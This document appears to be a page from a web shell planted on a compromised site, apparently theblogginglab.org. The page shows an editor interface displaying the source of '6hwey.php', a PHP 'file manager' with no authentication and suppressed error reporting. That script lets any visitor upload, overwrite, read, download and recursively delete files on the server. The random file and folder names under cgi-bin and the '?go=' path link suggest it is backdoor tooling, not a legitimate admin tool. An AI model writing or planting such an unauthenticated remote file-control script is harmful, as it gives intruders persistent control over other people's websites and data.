<h2>✏️ Editing: 6hwey.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
// file_manager.php - Simple File Manager with Back Button
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace(&#039;..&#039;, &#039;&#039;, $path);
    $path = preg_replace(&#039;/[^a-zA-Z0-9\.\_\-\/]/&#039;, &#039;&#039;, $path);
    return trim($path, &#039;/&#039;);
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === &#039;.&#039; || $item === &#039;..&#039;) continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                &#039;name&#039; =&gt; $item,
                &#039;path&#039; =&gt; $full_path,
                &#039;size&#039; =&gt; is_file($full_path) ? filesize($full_path) : 0,
                &#039;type&#039; =&gt; is_dir($full_path) ? &#039;directory&#039; : &#039;file&#039;,
                &#039;modified&#039; =&gt; date(&#039;Y-m-d H:i:s&#039;, filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes &gt;= 1073741824) {
        return number_format($bytes / 1073741824, 2) . &#039; GB&#039;;
    } elseif ($bytes &gt;= 1048576) {
        return number_format($bytes / 1048576, 2) . &#039; MB&#039;;
    } elseif ($bytes &gt;= 1024) {
        return number_format($bytes / 1024, 2) . &#039; KB&#039;;
    } else {
        return $bytes . &#039; bytes&#039;;
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET[&#039;dir&#039;]) ? sanitize_path($_GET[&#039;dir&#039;]) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : &#039;&#039;);
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = &#039;&#039;;
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== &#039;&#039;){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === &#039;.&#039; || $parent_dir === &#039;\\&#039;) $parent_dir = &#039;&#039;;
} else {
    $parent_dir = &#039;&#039;;
}

// ==================== BREADCRUMB ====================
$dir_parts = [];
if($requested_dir !== &#039;&#039;){
    $parts = explode(&#039;/&#039;, $requested_dir);
    $acc = &#039;&#039;;
    foreach($parts as $p){
        if($p === &#039;&#039;) continue;
        $acc .= ($acc === &#039;&#039; ? &#039;&#039; : &#039;/&#039;) . $p;
        $dir_parts[] = [&#039;name&#039; =&gt; $p, &#039;path&#039; =&gt; $acc];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET[&#039;action&#039;] ?? &#039;list&#039;;

switch($action){
    case &#039;view&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
            header(&#039;Content-Type: text/plain&#039;);
            readfile($file_path);
            exit;
        }
        break;

    case &#039;edit&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;){
            $content = $_POST[&#039;content&#039;] ?? &#039;&#039;;
            if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
                file_put_contents($file_path, $content);
            }
            header(&#039;Location: ?action=list&amp;dir=&#039; . urlencode($requested_dir));
            exit;
        }
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
            $content = htmlspecialchars(file_get_contents($file_path));
            echo &quot;&lt;!DOCTYPE html&gt;&lt;html&gt;&lt;head&gt;&lt;meta charset=&#039;utf-8&#039;&gt;&lt;title&gt;Edit: &quot;.htmlspecialchars($file).&quot;&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&quot;;
            echo &quot;&lt;h2&gt;✏️ Edit: &quot;.htmlspecialchars($file).&quot;&lt;/h2&gt;&quot;;
            echo &quot;&lt;form method=&#039;post&#039;&gt;&quot;;
            echo &quot;&lt;textarea name=&#039;content&#039; style=&#039;width:100%;height:400px;font-family:monospace;&#039;&gt;$content&lt;/textarea&gt;&lt;br&gt;&lt;br&gt;&quot;;
            echo &quot;&lt;button type=&#039;submit&#039;&gt;💾 Save&lt;/button&gt; &quot;;
            echo &quot;&lt;a href=&#039;?action=list&amp;dir=&quot;.urlencode($requested_dir).&quot;&#039;&gt;🚫 Cancel&lt;/a&gt;&quot;;
            echo &quot;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;&quot;;
            exit;
        }
        break;

    case &#039;delete&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f-&gt;isDir() ? rmdir($f-&gt;getRealPath()) : unlink($f-&gt;getRealPath());
                }
                rmdir($file_path);
            } else {
                unlink($file_path);
            }
        }
        header(&#039;Location: ?action=list&amp;dir=&#039; . urlencode($requested_dir));
        exit;
        break;

    case &#039;upload&#039;:
        if(!empty($_FILES[&#039;file&#039;])){
            $uploaded = $_FILES[&#039;file&#039;];
            if($uploaded[&#039;error&#039;] === UPLOAD_ERR_OK){
                $name = basename($uploaded[&#039;name&#039;]);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    move_uploaded_file($uploaded[&#039;tmp_name&#039;], $dest);
                    @chmod($dest, 0644);
                }
            }
        }
        header(&#039;Location: ?action=list&amp;dir=&#039; . urlencode($requested_dir));
        exit;
        break;

    case &#039;download&#039;:
        $file = sanitize_path($_GET[&#039;file&#039;] ?? &#039;&#039;);
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) &amp;&amp; is_file($file_path)){
            header(&#039;Content-Description: File Transfer&#039;);
            header(&#039;Content-Type: application/octet-stream&#039;);
            header(&#039;Content-Disposition: attachment; filename=&quot;&#039;.basename($file_path).&#039;&quot;&#039;);
            header(&#039;Content-Length: &#039;.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case &#039;create_folder&#039;:
        if($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;){
            $folder = sanitize_path($_POST[&#039;folder_name&#039;] ?? &#039;&#039;);
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) &amp;&amp; !file_exists($fp)){
                    mkdir($fp, 0755, true);
                }
            }
        }
        header(&#039;Location: ?action=list&amp;dir=&#039; . urlencode($requested_dir));
        exit;
        break;
}
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;📁 File Manager&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: &#039;Segoe UI&#039;, Tahoma, Geneva, Verdana, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        
        .header {
            background: linear-gradient(135deg, #2c3e50, #34495e);
            color: white;
            padding: 25px;
            text-align: center;
        }
        
        .header h1 {
            font-size: 2.2em;
            margin-bottom: 10px;
            font-weight: 300;
        }
        
        .current-path {
            font-family: &#039;Courier New&#039;, monospace;
            background: rgba(255,255,255,0.1);
            padding: 10px;
            border-radius: 8px;
            margin: 15px 0;
            word-break: break-all;
        }
        
        .navigation {
            background: #ecf0f1;
            padding: 20px;
            border-bottom: 1px solid #bdc3c7;
        }
        
        .btn {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 12px 20px;
            background: #3498db;
            color: white;
            text-decoration: none;
            border-radius: 8px;
            font-weight: 500;
            transition: all 0.3s ease;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #2980b9;
            transform: translateY(-2px);
            box-shadow: 0 5px 15px rgba(0,0,0,0.2);
        }
        
        .btn-secondary {
            background: #95a5a6;
        }
        
        .btn-secondary:hover {
            background: #7f8c8d;
        }
        
        .btn-danger {
            background: #e74c3c;
        }
        
        .btn-danger:hover {
            background: #c0392b;
        }
        
        .btn-success {
            background: #27ae60;
        }
        
        .btn-success:hover {
            background: #219a52;
        }
        
        .toolbar {
            display: flex;
            gap: 15px;
            flex-wrap: wrap;
            margin-bottom: 20px;
        }
        
        .breadcrumb {
            background: #f8f9fa;
            padding: 15px 25px;
            border-bottom: 1px solid #dee2e6;
        }
        
        .breadcrumb a {
            color: #3498db;
            text-decoration: none;
        }
        
        .breadcrumb span {
            color: #7f8c8d;
            margin: 0 8px;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .file-table th {
            background: #34495e;
            color: white;
            padding: 15px;
            text-align: left;
            font-weight: 500;
        }
        
        .file-table td {
            padding: 15px;
            border-bottom: 1px solid #ecf0f1;
        }
        
        .file-table tr:hover {
            background: #f8f9fa;
        }
        
        .file-icon {
            width: 20px;
            text-align: center;
            margin-right: 10px;
        }
        
        .folder-row {
            background: #f0f8ff;
        }
        
        .folder-row:hover {
            background: #e3f2fd !important;
        }
        
        .action-buttons {
            display: flex;
            gap: 8px;
            flex-wrap: wrap;
        }
        
        .empty-folder {
            text-align: center;
            padding: 60px 20px;
            color: #7f8c8d;
        }
        
        .empty-folder i {
            font-size: 3em;
            margin-bottom: 20px;
            display: block;
        }
        
        .upload-form, .folder-form {
            display: flex;
            gap: 10px;
            align-items: center;
        }
        
        input[type=&quot;text&quot;], input[type=&quot;file&quot;] {
            padding: 10px;
            border: 1px solid #bdc3c7;
            border-radius: 6px;
            font-size: 14px;
        }
        
        input[type=&quot;text&quot;] {
            min-width: 200px;
        }
        
        @media (max-width: 768px) {
            .toolbar {
                flex-direction: column;
            }
            
            .upload-form, .folder-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .action-buttons {
                flex-direction: column;
            }
            
            .btn {
                justify-content: center;
            }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div class=&quot;container&quot;&gt;
        &lt;div class=&quot;header&quot;&gt;
            &lt;h1&gt;📁 File Manager&lt;/h1&gt;
            &lt;div class=&quot;current-path&quot;&gt;
                📍 &lt;?= htmlspecialchars($current_dir) ?&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class=&quot;navigation&quot;&gt;
            &lt;div class=&quot;toolbar&quot;&gt;
                &lt;!-- Back Button --&gt;
                &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode($parent_dir) ?&gt;&quot;&gt;
                    ⬅️ Back
                &lt;/a&gt;
                
                &lt;!-- Home Button --&gt;
                &lt;a class=&quot;btn btn-secondary&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode(basename($base_dir)) ?&gt;&quot;&gt;
                    🏠 Project
                &lt;/a&gt;
                
                &lt;!-- Root Button --&gt;
                &lt;a class=&quot;btn btn-secondary&quot; href=&quot;?action=list&amp;dir=&quot;&gt;
                    📂 Root
                &lt;/a&gt;
                
                &lt;!-- Upload Form --&gt;
                &lt;form method=&quot;post&quot; enctype=&quot;multipart/form-data&quot; action=&quot;?action=upload&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot; class=&quot;upload-form&quot;&gt;
                    &lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
                    &lt;button class=&quot;btn btn-success&quot; type=&quot;submit&quot;&gt;📤 Upload&lt;/button&gt;
                &lt;/form&gt;
                
                &lt;!-- Create Folder Form --&gt;
                &lt;form method=&quot;post&quot; action=&quot;?action=create_folder&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot; class=&quot;folder-form&quot;&gt;
                    &lt;input type=&quot;text&quot; name=&quot;folder_name&quot; placeholder=&quot;New Folder Name&quot; required&gt;
                    &lt;button class=&quot;btn btn-success&quot; type=&quot;submit&quot;&gt;📁 Create Folder&lt;/button&gt;
                &lt;/form&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;div class=&quot;breadcrumb&quot;&gt;
            &lt;a href=&quot;?action=list&amp;dir=&quot;&gt;Root&lt;/a&gt;
            &lt;?php foreach($dir_parts as $p): ?&gt;
                &lt;span&gt;›&lt;/span&gt;
                &lt;a href=&quot;?action=list&amp;dir=&lt;?= urlencode($p[&#039;path&#039;]) ?&gt;&quot;&gt;&lt;?= htmlspecialchars($p[&#039;name&#039;]) ?&gt;&lt;/a&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/div&gt;
        
        &lt;?php
        $files = get_file_list($current_dir);
        if(empty($files)): 
        ?&gt;
            &lt;div class=&quot;empty-folder&quot;&gt;
                &lt;i&gt;📭&lt;/i&gt;
                &lt;h3&gt;This folder is empty&lt;/h3&gt;
                &lt;p&gt;Upload files or create new folders to get started&lt;/p&gt;
            &lt;/div&gt;
        &lt;?php else: ?&gt;
            &lt;table class=&quot;file-table&quot;&gt;
                &lt;thead&gt;
                    &lt;tr&gt;
                        &lt;th&gt;Name&lt;/th&gt;
                        &lt;th&gt;Type&lt;/th&gt;
                        &lt;th&gt;Size&lt;/th&gt;
                        &lt;th&gt;Modified&lt;/th&gt;
                        &lt;th&gt;Actions&lt;/th&gt;
                    &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                    &lt;?php foreach($files as $f): ?&gt;
                        &lt;tr class=&quot;&lt;?= $f[&#039;type&#039;] === &#039;directory&#039; ? &#039;folder-row&#039; : &#039;&#039; ?&gt;&quot;&gt;
                            &lt;td&gt;
                                &lt;span class=&quot;file-icon&quot;&gt;
                                    &lt;?= $f[&#039;type&#039;] === &#039;directory&#039; ? &#039;📁&#039; : &#039;📄&#039; ?&gt;
                                &lt;/span&gt;
                                &lt;?= htmlspecialchars($f[&#039;name&#039;]) ?&gt;
                            &lt;/td&gt;
                            &lt;td&gt;&lt;?= $f[&#039;type&#039;] ?&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;?= $f[&#039;type&#039;] === &#039;directory&#039; ? &#039;-&#039; : format_size($f[&#039;size&#039;]) ?&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;?= $f[&#039;modified&#039;] ?&gt;&lt;/td&gt;
                            &lt;td&gt;
                                &lt;div class=&quot;action-buttons&quot;&gt;
                                    &lt;?php if($f[&#039;type&#039;] === &#039;directory&#039;): 
                                        $next_rel = ($requested_dir !== &#039;&#039; ? $requested_dir . &#039;/&#039; : &#039;&#039;) . $f[&#039;name&#039;];
                                    ?&gt;
                                        &lt;a class=&quot;btn&quot; href=&quot;?action=list&amp;dir=&lt;?= urlencode($next_rel) ?&gt;&quot;&gt;
                                            📂 Open
                                        &lt;/a&gt;
                                    &lt;?php else: ?&gt;
                                        &lt;a class=&quot;btn&quot; href=&quot;?action=edit&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot;&gt;
                                            ✏️ Edit
                                        &lt;/a&gt;
                                        &lt;a class=&quot;btn btn-secondary&quot; href=&quot;?action=download&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot;&gt;
                                            📥 Download
                                        &lt;/a&gt;
                                    &lt;?php endif; ?&gt;
                                    &lt;a class=&quot;btn btn-danger&quot; href=&quot;?action=delete&amp;file=&lt;?= urlencode($f[&#039;name&#039;]) ?&gt;&amp;dir=&lt;?= urlencode($requested_dir) ?&gt;&quot; 
                                       onclick=&quot;return confirm(&#039;Are you sure you want to delete &lt;?= htmlspecialchars($f[&#039;name&#039;]) ?&gt;?&#039;)&quot;&gt;
                                        🗑️ Delete
                                    &lt;/a&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                        &lt;/tr&gt;
                    &lt;?php endforeach; ?&gt;
                &lt;/tbody&gt;
            &lt;/table&gt;
        &lt;?php endif; ?&gt;
    &lt;/div&gt;

    &lt;script&gt;
        // Add some interactive features
        document.addEventListener(&#039;DOMContentLoaded&#039;, function() {
            // Add confirmation for delete actions
            const deleteLinks = document.querySelectorAll(&#039;a[href*=&quot;action=delete&quot;]&#039;);
            deleteLinks.forEach(link =&gt; {
                link.addEventListener(&#039;click&#039;, function(e) {
                    if (!confirm(&#039;Are you sure you want to delete this item?&#039;)) {
                        e.preventDefault();
                    }
                });
            });
            
            // Add hover effects
            const rows = document.querySelectorAll(&#039;.file-table tr&#039;);
            rows.forEach(row =&gt; {
                row.addEventListener(&#039;mouseenter&#039;, function() {
                    this.style.transform = &#039;translateX(5px)&#039;;
                    this.style.transition = &#039;transform 0.2s ease&#039;;
                });
                
                row.addEventListener(&#039;mouseleave&#039;, function() {
                    this.style.transform = &#039;translateX(0)&#039;;
                });
            });
        });
    &lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fgreakqsw%2Ftheblogginglab.org%2F5uq8v7-20260314182546%2F3myf64%2Fcgi-bin%2Fz6fv0s'>🔙 Back</a>